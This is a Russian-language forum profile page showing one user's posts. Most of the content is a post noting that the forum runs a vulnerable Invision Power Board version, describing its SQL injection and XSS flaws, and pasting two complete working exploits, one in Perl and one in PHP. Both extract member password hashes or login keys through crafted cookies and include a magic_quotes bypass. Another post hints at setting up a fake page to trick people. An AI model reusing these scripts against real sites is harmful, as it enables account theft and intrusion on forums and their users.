Перейти к содержанию

Javer

Пользователь
  • Зарегистрирован

  • Посещение

  1. bleka metal tid kommer >_< (читоби пораслушать мелодию, необоходимо переименовать .mp3 на .mid) tr0.mp3
  2. И это правлильно, понимаете ли, дорогие товарищи!! ... продолжение апокалипсиса: для отправки на мыло страница с формой (на ява скрипте) <html> <head> <title>Mail Form</title> </head> <body> <div align="center"><center> <table border="0" cellspacing="0" cellpadding="0"> <tr> <strong><td align="center"><u><font SIZE="+3"><p align="center"></font></u><big><big>Отправьте мне письмо.</big></big></p> <form ENCTYPE="text/plain" NAME="mail" ACTION="mailto:DEATH_BLACK@WORLD.ru?subject="Send from my page" METHOD="POST"> <font SIZE="+1"><div align="left"><p>Ваше имя:<br> </font><input TYPE="text" name="name" size="40"> </p> </div><div align="left"><p><font SIZE="+1">Ваш E-mail:</font> <br> <input TYPE="text" name="e_mail" size="40"> </p> </div><div align="left"><p><font SIZE="+1">Ваш Homepage:</font> <br> <input TYPE="text" name="home page" value="http://" size="40"></p> </div><div align="left"><p><font SIZE="+1">Откуда вы?</font> <br> <input TYPE="text" name="country" size="40"> </p> </div><div align="left"><p><font SIZE="+1">Коментарии:<br> </font><textarea name="comments" wrap="virtual" rows="6" cols="40"></textarea></p> </div><div align="left"><p> <input TYPE="submit" VALUE="Отправить"> <input TYPE="reset" VALUE="Очистить"></p> </div> </form> </strong></td> </tr> </table> </center></div> </body> </html>
  3. первый на перле, второй на пхп.. естесно заделывваешь стр. и пускаешь утку )) ... форум оболденный, прадва ) да-да.. Хаос будет - апокалипсис... и форум рухнет.. и будут только БЛЕК... БЛЕК ворлд.. дез ворлд )) Добавлено: первый на перле, второй на пхп.. естесно заделывваешь стр. и пускаешь утку )) ... форум оболденный, прадва ) да-да.. Хаос будет - апокалипсис... и форум рухнет.. и будут только БЛЕК... БЛЕК ворлд.. дез ворлд ))
  4. ))) Олек, у тя времени нет ? ))) на стройку ??? ... неужели ты не можешь забить на работу, покончить с программерской жизнью, забыть о своей семье, о личной жизни ? .. но ведь ты преобретешь "лучшее" .. ты станешь одним из онимешнигов.. и будешь говорить об аниме ;) А терь к делу. В связи с тем, что я поступить как еврей не могу.. то решил кое что подчеркнуть. Опустите свои глазки на конец страницы и посмотрите что там написано... те кто ничего не увидел - ЛБУ.. ничего не поделаешь.. диагноз практически не излечим (возможно только теоретическое лечение).. а те, кто увидел "Powered by Invision Power Board(Trial) " - они все таки видят .. и значит, умеют соображать... Уязвимость позволяет удаленному пользователю произвести XSS нападение и выполнить произвольные SQL команды в базе данных приложения. SQL-инъекция существует из-за недостаточной обработки данных в сценарии 'sources/login.php'. Удаленный пользователь может с помощью специально сформированного файла куки выполнить произвольные SQL команды в базе данных приложения при выключенных Magic_quotes_gpc в конфигурационном файле php. Отсутствует проверка входных данных при отображении результатов поиска в параметре 'highlite' сценария 'sources/topics.php'. Удаленный пользователь может с помощью специально сформированного файла куки выполнить произвольный HTML сценарий в браузере жертвы в контексте безопасности уязвимого сайта. в зависимости от того, на чем вы захотите написать сплоит, пишу два сорца: \\_________________________________// #!/usr/bin/perl ## Invision Power Board SQL injection exploit by RST/GHC ## vulnerable forum versions : 1.* , 2.* (<2.0.4) ## tested on version 1.3 Final and version 2.0.2 ## * work on all mysql versions ## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On) ## ©oded by 1dt.w0lf ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ## screen: ## ~~~~~~~ ## r57ipb2.pl blah.com /ipb13/ 1 0 ## [~] SERVER : blah.com ## [~] PATH : /ipb13/ ## [~] MEMBER ID : 1 ## [~] TARGET : 0 - IPB 1.* ## [~] SEARCHING PASSWORD ... [ DONE ] ## ## MEMBER ID : 1 ## PASSWORD : 5f4dcc3b5aa765d61d8327deb882cf99 ## ## r57ipb2.pl blah.com /ipb202/ 1 1 ## [~] SERVER : blah.com ## [~] PATH : /ipb202/ ## [~] MEMBER ID : 1 ## [~] TARGET : 1 - IPB 2.* ## [~] SEARCHING PASSWORD ... [ DONE ] ## ## MEMBER ID : 1 ## MEMBER_LOGIN_KEY : f14c54ff6915dfe3827c08f47617219d ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ## Greets: James Bercegay of the GulfTech Security Research Team ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ## Credits: RST/GHC , http://rst.void.ru , http://ghc.ru ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ use IO::Socket; if (@ARGV < 4) { &usage; } $server = $ARGV[0]; $path = $ARGV[1]; $member_id = $ARGV[2]; $target = $ARGV[3]; $pass = ($target)?('member_login_key'):('password'); $server =~ s!(http:\/\/)!!; $request = 'http://'; $request .= $server; $request .= $path; $s_num = 1; $|++; $n = 0; print "[~] SERVER : $server\r\n"; print "[~] PATH : $path\r\n"; print "[~] MEMBER ID : $member_id\r\n"; print "[~] TARGET : $target"; print (($target)?(' - IPB 2.*'):(' - IPB 1.*')); print "\r\n"; print "[~] SEARCHING PASSWORD ... [|]"; ($cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; while(1) { if(&found(47,58)==0) { &found(96,122); } $char = $i; if ($char=="0") { if(length($allchar) > 0){ print qq{\b\b DONE ] MEMBER ID : $member_id }; print (($target)?('MEMBER_LOGIN_KEY : '):('PASSWORD : ')); print $allchar."\r\n"; } else { print "\b\b FAILED ]"; } exit(); } else { $allchar .= chr(42); } $s_num++; } sub found($$) { my $fmin = $_[0]; my $fmax = $_[1]; if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; } $r = int($fmax - ($fmax-$fmin)/2); $check = " BETWEEN $r AND $fmax"; if ( &check($check) ) { &found($r,$fmax); } else { &found($fmin,$r); } } sub crack($$) { my $cmin = $_[0]; my $cmax = $_[1]; $i = $cmin; while ($i<$cmax) { $crcheck = "=$i"; if ( &check($crcheck) ) { return $i; } $i++; } $i = 0; return $i; } sub check($) { $n++; status(); $ccheck = $_[0]; $pass_hash1 = "%36%36%36%2527%20%4F%52%20%28%69%64%3D"; $pass_hash2 = "%20%41%4E%44%20%61%73%63%69%69%28%73%75%62%73%74%72%69%6E%67%28"; $pass_hash3 = $pass.",".$s_num.",1))".$ccheck.") /*"; $pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; $nmalykh = "%20%EC%E0%EB%FB%F5%20%2D%20%EF%E8%E4%E0%F0%E0%F1%21%20"; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80"); printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s%s\nConnection: close\n\n", $path,$server,$cmember_id,$pass_hash1,$cmember_id,$pass_hash2,$pass_hash3,$nmalykh); while(<$socket>) { if (/Set-Cookie: session_id=0;/) { return 1; } } return 0; } sub status() { $status = $n % 5; if($status==0){ print "\b\b/]"; } if($status==1){ print "\b\b-]"; } if($status==2){ print "\b\b\\]"; } if($status==3){ print "\b\b|]"; } } sub usage() { print q( Invision Power Board v < 2.0.4 SQL injection exploit ---------------------------------------------------- USAGE: ~~~~~~ r57ipb2.pl [server] [/folder/] [member_id] [target] [server] - host where IPB installed [/folder/] - folder where IPB installed [member_id] - user id for brute targets: 0 - IPB 1.* 1 - IPB 2.* (Prior To 2.0.4) e.g. r57ipb2.pl 127.0.0.1 /IPB/ 1 1 ---------------------------------------------------- ©oded by 1dt.w0lf RST/GHC , http://rst.void.ru , http://ghc.ru ); exit(); } \\__________________________// <?php /* <= 2.0.3 <= 1.3.1 Final /str0ke */ $server = "SERVER"; $port = 80; $file = "PATH"; $target = 81; /* User id and password used to fake-logon are not important. '10' is a random number. */ $id = 10; $pass = ""; $hex = "0123456789abcdef"; for($i = 1; $i <= 32; $i++ ) { $idx = 0; $found = false; while( !($found) ) { $letter = substr($hex, $idx, 1); /* %2527 translates to %27, which gets past magic quotes. This is translated to ' by urldecode. */ $cookie = "member_id=$id;pass_hash=$pass%2527%20OR%20id=$target"; $cookie .= "%20HAVING%20id=$target%20AND%20MID(`password`,$i,1)=%2527" . $letter; /* Query is in effect: SELECT * FROM an_members WHERE id=$id AND password='$pass' OR id=$target HAVING id=$target AND MID(`password`,$i,1)='$letter' */ $header = getHeader($server, $port, $file . "index.php?act=Login&CODE=autologin", $cookie); if( !preg_match('/Location:(.*)act\=Login\&CODE\=00\r\n/', $header) ) { echo $i . ": " . $letter . "\n"; $found = true; $hash .= $letter; } else { $idx++; } } } echo "\n\nFinal Hash: $hash\n"; function getHeader($server, $port, $file, $cookie) { $ip = gethostbyname($server); $fp = fsockopen($ip, $port); if (!$fp) { return "Unknown"; } else { $com = "HEAD $file HTTP/1.1\r\n"; $com .= "Host: $server:$port\r\n"; $com .= "Cookie: $cookie\r\n"; $com .= "Connection: close\r\n"; $com .= "\r\n"; fputs($fp, $com); do { $header.= fread($fp, 512); } while( !preg_match('/\r\n\r\n$/',$header) ); } return $header; } ?> + Уязвимость заключается в возможности присоединять HTML и TXT файлы к соообщениям форума, которые содержат скрипты JavaScript. При открытии таких файлов в браузере, на компьютере пользователя происходит отображение страницы и соответственно выполнение скриптов JavaScript. (жава, моя любимая) на данную тему есть много статей.. ибо писали грамотные :huh:

Важная информация

Мы разместили cookie-файлы на ваше устройство, чтобы помочь сделать этот сайт лучше. Вы можете изменить свои настройки cookie-файлов, или продолжить без изменения настроек.

Configure browser push notifications

Chrome (Android)
  1. Tap the lock icon next to the address bar.
  2. Tap Permissions → Notifications.
  3. Adjust your preference.
Chrome (Desktop)
  1. Click the padlock icon in the address bar.
  2. Select Site settings.
  3. Find Notifications and adjust your preference.